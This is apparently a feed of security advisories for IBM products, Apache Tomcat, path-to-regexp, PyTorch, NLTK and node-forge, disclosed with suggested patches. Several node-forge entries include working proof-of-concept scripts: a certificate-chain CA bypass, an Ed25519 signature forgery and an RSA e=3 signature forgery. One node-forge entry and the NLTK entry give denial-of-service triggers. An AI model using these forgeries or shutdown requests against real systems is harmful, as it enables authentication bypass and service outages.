IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to stored cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to bypass security controls and perform unauthorized actions due to client-side enforcement of sever-side security.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to perform unauthorized actions due to the improper enforcement of behavioral workflow.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 s vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 could allow an authenticated user to cause a temporary denial using a specially crafted HTTP request due to improper allocation of resource throttling.
IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.2.2, 5.3.0 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.
IBM watsonx.data intelligence 5.2.2, 5.3.0, 5.3.1, 5.3.1 through Patch 1 transmits data in clear text that could allow an attacker to obtain sensitive information using man in the middle techniques.
A vulnerability identified in NetIQ Advance Authentication that leaks sensitive server information. This issue affects NetIQ Advance Authentication version before 6.3.5.1
Improper Input Validation vulnerability in Apache Tomcat due to an incomplete fix of CVE-2025-66614.
This issue affects Apache Tomcat: from 11.0.15 through 11.0.19, from 10.1.50 through 10.1.52, from 9.0.113 through 9.0.115.
Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Configured cipher preference order not preserved vulnerability in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.16 through 11.0.18, from 10.1.51 through 10.1.52, from 9.0.114 through 9.0.115.
Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Summary
pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
Technical Details
In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:
1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null 2. The basicConstraints.cA check is gated on bcExt !== null
When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
RFC 5280 Section 6.1.4 step (k) requires: "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of basicConstraints should result in rejection, not acceptance.
Proof of Concept
javascript const forge = require('node-forge'); const pki = forge.pki;
function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); }
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]);
try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); }
Results: - Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) - Certificate with basicConstraints.cA=false: correctly rejected - Certificate with keyUsage (no keyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted
Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.
This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification
CVE Precedent
This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance
Not a Duplicate
This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)
Suggested Fix
Add an explicit check for absent basicConstraints on non-leaf certificates:
javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.badcertificate }; }
Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline
Credits
Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch
Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions: - Default forge Ed25519 verify API path (ed25519.verify(...)).
Root Cause In lib/ed25519.js, cryptosignopen(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
javascript scalarbase(q, sm.subarray(32));
There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps - Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify). - Confirm output includes:
json { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit:
text { "forge": { "originalvalid": true, "tweakedvalid": true }, "crypto": { "originalvalid": true, "tweakedvalid": false } }
<details><summary>poc.js</summary>
javascript #!/usr/bin/env node 'use strict';
const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519ORDERL = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519ORDERL[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; }
function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return -----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n; }
function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } }
function toResult(label, original, tweaked) { return { [label]: { originalvalid: original.ok, tweakedvalid: tweaked.ok, }, }; }
function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); }
main(); </details>
Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function cryptosignopen(m, sm, n, pk) { return -1; }
+ if(!isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function cryptosignopen(m, sm, n, pk) { return mlen; }
+function isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) {
Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions: - Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v15). - parseAllDigestBytes: true (default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (decodePkcs1v15), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
1. Strict DER byte-consumption (parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. decodePkcs1v15 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps 1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5. 4. Place and run the PoC script (repromin.js) with node repromin.js in the same level as the forge folder. 5. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (parseAllDigestBytes: true), and - Node/OpenSSL verify (crypto.verify with RSAPKCS1PADDING). 7. Confirm output includes: - control-forge-strict: true - control-node: true - forgery (forge library, strict): true - forgery (node/OpenSSL): false
Proof of Concept
Overview: - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (parseAllDigestBytes: true, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit:
text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false
<details><summary>repromin.js</summary>
javascript #!/usr/bin/env node 'use strict';
const crypto = require('crypto'); const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFOSHA256PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' );
const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi hi hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid mid mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f f f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); }
function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for msg // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v15 // - options.parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } }
function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } });
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFOSHA256PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // garbageLen affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly k. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]);
// Build the numeric interval of all EM values that start with prefix: // - low = prefix || 00..00 // - high = one past (prefix || ff..ff) // Then find s such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: crypto.constants.RSAPKCS1PADDING });
// forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSAPKCS1PADDING }, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); }
main(); </details>
Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in decodePkcs1v15 before accepting the block. - Update the RSASSA-PKCS1-v15 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v15 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function decodePkcs1v15(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - lib/rsa.js key.verify(...) at lines ~1139-1223. - lib/rsa.js decodePkcs1v15(...) at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package
Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
Vulnerability Details
Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 }
Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
Proof of Concept
Environment Setup bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge Save the script below as poc.js, then run: node poc.js javascript 'use strict'; const { spawnSync } = require('childprocess');
const childCode = const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); ;
console.log('[] Testing: BigInteger(0).modInverse(3)'); console.log('[] Expected: throw an error or return quickly'); console.log('[] Spawning child process with 5s timeout...'); console.log();
const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, });
if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); }
if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); }
if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); }
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); Expected Output [] Testing: BigInteger(0).modInverse(3) [] Expected: throw an error or return quickly [] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On
node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows
Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
Impact
A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.
Patches
Upgrade to path-to-regexp@0.1.13
Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.
Workarounds
All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).
If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.
References
- GHSA-9wv6-86v2-598j - Detailed blog post: ReDoS the web
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty is affected by privilege escalation. A privileged user could gain additional access to the application server.
IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty is vulnerable to server-side request forgery (SSRF). This may allow remote attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
A vulnerability was identified in PyTorch 2.10.0. The affected element is an unknown function of the component pt2 Loading Handler. The manipulation leads to deserialization. The attack can only be performed from a local environment. The exploit is publicly available and might be used. The project was informed of the problem early through a pull request but has not reacted yet.
Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.
Details The vulnerable logic is in nltk/app/wordnetapp.py:
- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)
- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":
- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode
- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC 1. Start the WordNet Browser in Docker in its default mode:
bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"
2. Confirm the service is reachable:
bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'
Observed result:
text 200
3. Trigger shutdown:
bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
text 000
4. Verify the service is no longer available:
bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest
Observed results:
text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!
Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.
